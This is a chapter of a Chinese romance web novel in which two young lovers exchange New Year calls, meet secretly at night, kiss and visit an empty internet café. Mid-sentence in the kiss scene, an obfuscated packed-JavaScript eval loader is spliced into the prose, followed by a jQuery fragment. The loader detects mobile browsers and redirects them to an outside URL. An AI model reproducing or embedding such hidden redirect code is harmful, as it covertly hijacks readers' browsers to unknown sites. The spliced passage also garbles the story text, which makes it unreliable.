65.幽会

作品:《您从未偏航[破镜重圆]

    陈记提前在不同短信对话框里编辑好【新年快乐!】的短信,在春晚倒计时数到“1”时,飞速发给几个她想要零点祝福的人,嘴上还顺便祝福爸爸妈妈新年快乐。


    也几乎在同一时刻,她也收到了几条新年快乐的信息,刚好来自她卡零点发送的那些人。


    一家人没撑到难忘今宵就各自回房间睡觉了。陈记把头埋到被窝里,弓着身子,正准备给苏芮铭发短信的时候,苏芮铭的短信就来了。


    【睡了吗?】


    陈记嘿嘿一笑,迅速回拨了电话。


    她躲在被窝里,声音压得很低:“苏芮铭,新年快乐!”


    “新年快乐。”苏芮铭的声音带着笑意,“怎么声音听上去有些闷?”


    “我躲在被窝里呢。”


    “巧了,”苏芮铭说,“我在厕所。”


    “这巧在哪里?我在被窝你在厕所。”


    “都是密闭空间。”


    “行吧,新的一年苏芮铭同学开始强词夺理了。”陈记放下弓着的腰,趴在床上。


    苏芮铭轻笑一声,说:“你今天能出来吗?”


    “现在吗?”


    “今天的某个时间,都可以。”


    “你很想见我吗?”陈记嘴角翘起。


    “想见,”苏芮铭难得这么直白,“很想见。”


    “那,那好的,“陈记想了一会儿说,“明晚我爸妈睡了我们见面好吗?大年初一我们家的传统是不出门,我白天不太好出门。”


    “好,那我去你家小区门口等你。”


    “好啊,那你衣服穿厚点。”


    “你也是。”


    “你晚上睡哪里?紫心家不是就两个房间吗?”


    “客厅沙发,被子很软,还有暖气,很舒服。”


    “那听着很不错呢,你现在困吗?”


    “不困,你困了吗?”


    “我也不困,”陈记有点憋得慌,从被子里探出头,吸了一大口新鲜空气,她小声说,“我能要个新年礼物吗?”


    “什么?”


    “我想听《爱你是我最大权利》。”


    苏芮铭没有立即应声,清清浅浅的呼吸声从听筒里传来。


    陈记握着手机等着苏芮铭的答复,她也不知道哪里来得自信,苏芮铭一定会唱给她听的。果然苏芮铭轻叹一声,说:“好。”


    陈记高兴了,她发现她跟苏芮铭谈了恋爱后,什么边界感都被她扔了。


    她甚至有点喜欢苏芮铭这种勉勉强强,又无可奈何答应她的样子。


    苏芮铭低声轻唱起来,可能是在厕所,声音虽然小,但是很清楚。


    陈记就躺在床上,屋里一片寂静,手机屏幕在黑暗中泛着盈盈的光芒,苏芮铭清润干净的声音就在耳侧,夹杂着一点微噪的电流声,像微风拂过细软的沙子。


    一曲终了,窗外的天空刚好炸起一朵又一朵的烟花。


    陈记握着手机下床,拉开窗帘,看着外面的烟花说:“苏芮铭。”


    “嗯?”


    “我能每年都拥有刚才的那份新年礼物吗?”


    苏芮铭沉默几秒,说:“能。”


    “那晚安了,苏芮铭,明天见,“陈记想起已经过了零点,“奥不,今天见。”


    “晚安,“苏芮铭笑了一下,“今天见。”


    陈记挂断了电话。


    苏芮铭还举着手机,听筒里传来“嘟嘟嘟”的声音。


    这个新年是他过得最美好的一个新年了,似乎曾经所奢望的一切都会在新的一年实现。


    他又觉得那么不真实。


    就好像自己的双脚正踩在棉花上。


    但棉花却浮在冰面上,冰面又薄又脆。


    而他却在朝太阳走去。


    ??


    大年初一,北方小镇的传统是不出门,家家户户都在屋里呆着。


    陈记站在阳台往外望去,街上一个人也没有,红红的灯笼挂满干枯的树梢,自顾自地热闹着。


    陈记一整天都心不在焉,吕凌和陈峰山喊她,她总是慢个半拍,时常低头看看时间。


    就这么硬熬着,终于熬到了晚上。


    大年三十的晚上时不时地就响起鞭炮声,初一的清早也劈里啪啦地闹个没完。


    吕凌和陈峰山昨晚都没睡好,晚上十点半的时候就已经开始犯困了,陈记顺水推舟,适时说出自己困了想睡觉的诉求,一家人就各自回房了。


    陈记给苏芮铭发了个短信说她爸妈睡了,但是以防万一,她决定再等半个小时出门。


    苏芮铭收到短信后,立刻套上外套准备出门。


    张奶奶和紫心已经睡下了,他抱上一个盒子,轻手轻脚地关上房门,骑车去往陈记家小区。


    距离不算近,等他到的时候,说不定陈记刚好出来,这样他们就可以尽快见面了。


    半夜十一点,陈记一手提着拖鞋,一手提着包装好的杯子,踮起脚尖,推开卧室门,悄悄走出去。


    她又在客厅站了一会儿,隐约听到陈峰山的鼾声后,才略微放下心来。


    但她仍然不自觉地屏住呼吸,她从没干过这种事,她连小时候偷看电视都没干过,更别说深更半夜瞒着父母偷跑出去见一个男生了,而且那个男生还是一头黄毛。


    这事对于她来说有点太不可思议了。


    陈记缓慢艰难地走到房门前,微勾着腰,拼命压制着猛跳的心脏,像小偷拧开保险箱一样轻轻拧开门锁。


    房门终于打开一条缝,她死死抿住嘴,擦着门框从那条缝里成功溜出去了。


    陈记转身,五官都皱在了一起,她不自觉地要紧牙关,用此生最轻柔力道关上了房门。


    她又原地站了一会,确认房内没动静,五官才松下来。


    电梯到达一层,门扇打开的一瞬间,陈记就冲了出去。


    或许是刚才的紧张感让她的肾上腺素激增,她几乎急不可待地想见到苏芮铭。


    三天了,他们三天没见了,寒假还有6天就结束了,她可能还要被拉着回爷爷家呆几天,他们还能见几面呢。


    陈记越想越着急,她一边快步走,一边打电话给苏芮铭。


    苏芮铭很快就接了电话。


    “我已经在楼下了……咳咳……很快就到了。”风灌进陈记的喉咙。


    苏芮铭赶紧往小区门口又跑了两步,紧张地说:“你慢慢地,不着急,风太大了。”


    陈记说:“我们三天没见面了!寒假马上就结束了!”


    苏芮铭握着手机冲到小区铁门前,扬着脖子往里张望着,四下一片静谧,保安窝在保安室里,头朝桌子一点一点地睡得正香。


    陈记没再说话了,呼吸声透过听筒传来。


    苏芮铭在铁门前不断张望。总算远远地看见了一个正在奔跑的身影。


    那条他送给她的围巾正在风中飞舞。


    苏芮铭想出声喊,却害怕叫醒保安,只能在原地焦急地等待。


    陈记越跑越快,提前掏出门禁卡,动作一气呵成,扑到了苏芮铭的怀里。


    苏芮铭被她撞得退后了几步,却保持着紧紧抱着她的姿势。


    陈记闷闷地声音传来:“快点到7月份吧。”


    苏芮铭轻抚着陈记的后背,喃喃道:“快了快了。”


    陈记在苏芮铭怀里埋了一会,刚抬起头,苏芮铭就已经俯身下来,吻在了她的唇上。


    他的嘴唇有些冰凉,但很柔软,温热的呼吸轻扑在她的脸上,陈记几乎立刻给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482017|178019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了回应。


    大年初一的晚上,小镇寂静无声,整条街道一个人也没有,连楼房里亮着灯的人家都屈指可数,整个世界仿佛就剩下他们两个人。


    他们光明正大地相拥在一团昏黄却明亮的路灯下,肆无忌惮地亲吻。


    温热的呼吸纠缠在一起,像灰白的寒冬里燃烧的橘色火焰,热烈而放肆。


    他们亲了很久很久,才轻喘着气松开了对方。


    时间有些久,陈记又是一路奔跑紧张,眼下整个人有些缺氧发晕。


    她侧头靠在苏芮铭怀里,闭着眼睛,没什么力气讲话。


    苏芮铭的下巴抵着陈记的头顶,左手轻抚着陈记的后脑,也没说话。


    过了不知道多久,刚才的热意逐渐消散,冷风一吹,陈记不自觉地打了个寒颤。


    “冷了吗?”苏芮铭的声音从头顶上方传来。


    “有点儿。“陈记这才发觉自己的指头一直被袋子勒着,现在都被冻得有些僵硬了,但她没有松开苏芮铭。


    苏芮铭抱着陈记的胳膊又紧了几分,说:“那……你要不要回家?”


    陈记一面感受到苏芮铭加大的力道,一面听见了苏芮铭这个犹犹豫豫的建议,她笑着说:“好啊,我回家。”


    闻言,苏芮铭缓慢地松开了陈记。


    他正准备说些什么,就发现陈记正抬头朝着他笑,弯弯的眼睛里闪过一丝狡黠。


    苏芮铭原本在嘴边的话顷刻间消失了,他看着陈记的眼睛说:“去吧里吗?今天吧里没人。”


    “刚才某人不是让我回家吗?”陈记说。


    苏芮铭轻叹一口气,无奈地朝陈记笑了笑。


    陈记决定不逗苏芮铭了,从苏芮铭的怀里退出来,把手里的袋子塞给苏芮铭:“拿好。”


    接着她朝自行车停放的位置走去。苏芮铭明白了她的意思,跟着走了过去。


    苏芮铭载着陈记,很快就到了网吧门口。


    他停稳自行车,陈记从后座跳下来,原地跺了跺脚:“冷飕飕的。”


    “进去就不冷了,屋里有暖气。”苏芮铭也从车上下来,踩下脚撑。


    他快走了几步到网吧的卷帘门前,从兜里掏出钥匙,蹲下身子,拧开卷帘门的门锁。


    陈记伸手拿出车筐里的盒子抱在怀里,又从车把上取下她的袋子,也往网吧门前走去。


    她站定在苏芮铭旁边,举起盒子端详:“什么东西啊?“


    “秘密。”苏芮铭一把捞起卷帘门。


    “怎么还神神秘秘的?”陈记的声音被卷帘门“哗啦哗啦“的声响盖住了。


    苏芮铭把内侧的玻璃门打开,接过陈记手里的东西,笑着示意她先进去:“外面冷。”


    “好吧。“陈记没追问,侧身走进了屋里。


    苏芮铭跟着走进了屋里,轻轻地关上玻璃门,按开了顶灯开关,网吧里一片明亮。


    “没人的网吧,有种学校微机室的感觉。“陈记笑着说。


    “是吗?可能都是电脑。”苏芮铭把东西放在前台。


    “差点生出要穿鞋套的条件反射了。”陈记走到暖气旁边。


    “你们学校也要穿鞋套?”


    “初高中的时候都要穿,虽然不理解为什么。听说什么线路都在地板里,但总感觉不太对。”


    “网吧好像是走天花,上次看见修理工是开天花板修的。”


    “欸不重要啦,”陈记凑到前台,指了指桌面上的盒子,“我现在就想知道这是什么?”


    苏芮铭没直接回答陈记的话,而是翻开手机盖,看了看时间,他抬头朝陈记笑了笑:“还赶得及。”


    “什么?”


    苏芮铭把盒子推到陈记跟前,轻声说:“情人节快乐。”